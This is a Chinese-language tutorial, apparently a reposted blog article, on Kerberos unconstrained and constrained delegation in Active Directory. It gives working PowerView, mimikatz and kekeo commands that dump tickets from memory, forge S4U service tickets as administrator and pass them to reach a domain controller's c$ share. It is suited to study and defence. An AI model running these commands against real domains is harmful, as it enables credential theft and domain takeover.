基于非约束/约束委派的利用


参考文章:https://www.anquanke.com/post/id/92484
参考文章:https://www.cnblogs.com/websecyw/p/12461990.html
参考文章:https://xz.aliyun.com/t/7217#toc-9

什么是域委派

域委派是指:将域内用户的权限委派给服务账号,使得服务账号能以用户权限开展域内活动

服务账号(Service Account),域内用户的一种类型,服务器运行服务时所用的账号,将服务运行起来并加入域。例如MSSQL Server在安装时,会在域内自动注册服务账号SqlServiceAccount,这类账号不能用于交互式登录。

上图是经典的应用场景。一个域内普通用户jack通过Kerberos协议认证到前台WEB服务器后,前台运行WEB服务的服务账号websvc模拟(Impersonate)用户jack,以Kerberos协议继续认证到后台服务器,从而在后台服务器中获取jack用户的访问权限,即域中跳或者多跳的Kerberos认证。

按照图中红色字体的数字,具体步骤如下:

1、域内用户jack以Kerberos方式认证后访问Web服务器;
2、Web服务以websvc服务账号运行,websvc向KDC发起jack用户的票据申请;
3、KDC检查websvc用户的委派属性,如果被设置,则返回jack用户的可转发票据TGT;
4、websvc收到jack用户TGT后,使用该票据向KDC申请访问文件服务器的服务票据TGS;
5、KDC检查websvc的委派属性,如果被设置,且申请的文件服务在允许的列表清单中,则返回一个jack用户访问文件服务的授权票据TGS;
6、websvc收到的jack用户的授权票据TGS后,可访问文件服务,完成多跳认证。

域委派的几种类型

第一种是 非约束性委派(Unconstrained Delegation),服务账号可以获取某用户的TGT,从而服务账号可使用该TGT,模拟用户访问任意服务

用户请求一个非约束委派服务的流程图:

请求过程如下:

  1. 用户通过发送KRB_AS_REQ消息请求可转发 TGT(forwardable TGT,为了方便我们称为TGT1)
  2. KDC在KRB_AS_REP消息中返回TGT1
  3. 用户再通过TGT1向KDC请求转发TGT(forwardedTGT,我们称为TGT2)
  4. 在KRB_TGS_REP消息中返回转发TGT2
  5. 用户使用TGT1向KDC申请访问Service1的ST(ServiceTicket)
  6. TGS返回给用户一个ST
  7. 用户发送KRB_AP_REQ请求至Service1,这个请求中包含了TGT1和ST、TGT2、TGT2的SessionKey
  8. Service1使用用户的TGT2通过KRB_TGS_REQ发送给KDC,以用户的名义请求能够访问Service2的票据
  9. KDC在KRB_TGS_REP消息中返回Service2到Service1的票据
  10. Service1以用户的名义向Service2发送KRB_AP_REQ请求
  11. Service2响应步骤10中Service1的请求
  12. Service1响应步骤7中用户的请求
  13. 在这个过程中的TGT转发机制,没有限制Service1对TGT2的使用,也就是说Service1可以通过TGT2来请求任意服务
  14. KDC返回步骤13中请求的票据,15和16即为Service1通过模拟用户来访问其他Service

当user访问service1时,如果service1的服务账号开启了unconstrained delegation(非约束委派),则当user访问service1时会将user的TGT发送给service1并保存在内存中以备下次重用,然后service1 就可以利用这张TGT以user的身份去访问域内的任何服务(任何服务是指user能访问的服务)了

由于非约束委派的不安全性,微软在windows2003中发布了约束委派的功能,如下:

约束委派在Kerberos中User不会直接发送TGT给服务,而是对发送给service1的认证信息做了限制,不允许service1代表User使用这个TGT去访问其他服务。其中包括一组名为S4U2Self(Service for User to Self)和S4U2Proxy(Service forUser to Proxy)的Kerberos协议扩展。

用户请求一个约束委派的服务流程图如下:

请求过程如下:

  1. 用户向Service1发送请求。
  2. 这时在官方文档中的介绍是在这一流程开始之前Service1已经通过KRB_AS_REQ得到了用户用来访问Service1的TGT,然后通过S4U2self扩展模拟用户向KDC请求ST。
  3. KDC这时返回给Service1一个用于用户验证Service1的ST(我们称为ST1),并且Service1用这个ST1完成和用户的验证过程。
  4. Service1在步骤3使用模拟用户申请的ST1完成与用户的验证,然后响应用户。
    注:这个过程中其实Service1是获得了用户的TGT和ST1的,但是S4U2Self扩展不允许Service1代表用户去请求其他的服务。
  5. 用户再次向Service1发起请求,此时Service1需要以用户的身份访问Service2。这里官方文档提到了两个点:
    A.Service1已经验证通过,并且有一个有效的TGT。
    B.Service1有从用户到Service1的forwardableST(可转发ST)。个人认为这里的forwardable ST其实也就是ST1。
  6. Service1代表用户向Service2请求一个用于认证Service2的ST(我们称为ST2)。用户在ST1中通过cname(client name)和crealm(client realm)字段标识。
  7. KDC在接收到步骤6中Service1的请求之后,会验证PAC(特权属性证书,在第一篇中有说明)的数字签名。如果验证成功或者这个请求没有PAC(不能验证失败),KDC将返回ST2给Service1,不过这个ST2中cname和crealm标识的是用户而不是Service1。
  8. Service1代表用户使用ST2请求Service2。Service2判断这个请求来自已经通过KDC验证的用户。
  9. Service2响应Service1的请求。
  10. Service1响应用户的请求。

在这个过程中:

S4U2self可以代表自身请求针对其自身的Kerberos服务票据(ST)

S4U2proxy可以以用户的名义请求其它服务的ST

同时注意forwardable字段,有forwardable标记为可转发的是能够通过S4U2Proxy扩展协议进行转发的,如果没有标记则不能进行转发。

最后的结果:在约束委派中服务账号只能获取某用户的ST(也就是TGS),所以只能模拟用户访问特定的服务,是无法获取用户的TGT,如果我们能获取到开启了约束委派的服务用户的明文密码或者NTLM Hash,我们就可以伪造S4U请求,进而伪装成服务用户以任意账户的权限申请访问某服务的ST

如何设置约束委派的服务账户

在Windows系统中,普通用户的属性中没有委派(Delegation)这个选项卡,只有服务账号、主机账号才有,也就是当前用户账户下存在相对应的服务,比如mssql,http等等服务

在域中只有服务账户才能有委派功能,所以先把用户yuyonghu01设置为服务账号。

setspn -U -A https/golden yuyonghu01

setspn -l xxxxx

如何找出被设置过委派属性的服务账户

首先:将用户yuyonghu01设置为 信任此用户作为其他任何服务的委派

查询非约束委派主要是通过搜索userAccountControl属性包含ADS_UF_TRUSTED_FOR_DELEGATION的主机或账户

非约束委派的查询:

通过Import-Module PowerView.ps1加载PowerView脚本之后使用下面的命令进行查询。

查询域中配置非约束委派的账户:
Get-NetUser -Unconstrained -Domain rootkit.org

查询域中配置非约束委派的主机:
Get-NetComputer -Unconstrained -Domain rootkit.org

查询约束委派则通过搜索userAccountControl属性包含TRUSTED_TO_AUTH_FOR_DELEGATION的主机或用户

约束委派的查询:

查询域中配置约束委派的账户:
Get-DomainUser -TrustedToAuth -Domain rootkit.org

查询域中配置约束委派的主机:
Get-DomainComputer -TrustedToAuth -Domain rootkit.org

如何进行利用:

非约束性委派的设置:

域控模拟访问被设置了约束委派的机器:

Enter-PSSession -ComputerName WIN-3QCUJHVRSQN

约束委派机器中导出TGT票据(需要高权限,这里自己用的是本地管理员权限):

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit

导入TGT票据进行访问对应拥有权限可以访问的服务,这里我用的是域控进行访问的,直接可以访问域控

mimikatz "kerberos::ptt [0;4ccc26]-2-0-60a00000-Administrator@krbtgt-PENTEST.GOD.kirbi" exit

dir \\WIN-CKT0M35R6UO.pentest.God\c$

约束委派的设置:

约束委派的利用:

1、首先调用powerview模块进行约束委派的查询

get-DomainUser -TrustedToAuth -Domain pentest.God

2、利用kekeo向KDC请求TGS服务票据

申请TGT:
tgt::ask /user:yuyonghu01 /domain:pentest.god /password:pass!@#QWE /ticket:yuyonghu01.kirbi

伪造任意权限S4U请求,申请TGS服务票据:
Tgs::s4u /tgt:TGT_yuyonghu01@PENTEST.GOD_krbtgt~pentest.god@PENTEST.GOD.kirbi /user:administrator@pentest.God /service:cifs/WIN-CKT0M35R6UO.pentest.god

3、导入TGS服务票据,访问对应的服务

mimikatz "kerberos::ptt TGS_administrator@pentest.God@PENTEST.GOD_cifs~WIN-CKT0M35R6UO.pentest.god@PENTEST.GOD.kirbi" exit

关于约束委派的防御方法:

1、高权限用户没有在特殊要求之下设置为不可委派,比如administrator

总结

攻击路线:

1、判断已有的账号是否是非约束委派账户
2、获取非约束委派账户凭证,利用 Kerberoasting 攻击获取服务账号密码

1、判断已有的账号是否是约束委派账户
2、获取约束委派账户凭证,利用 Kerberoasting 攻击获取服务账号密码

Print Spooler服务+非约束委派提升至域控权限,参考文章:https://adsecurity.org/?p=4056
NTLM Relay和约束委派结合进行权限提升,参考文章:https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM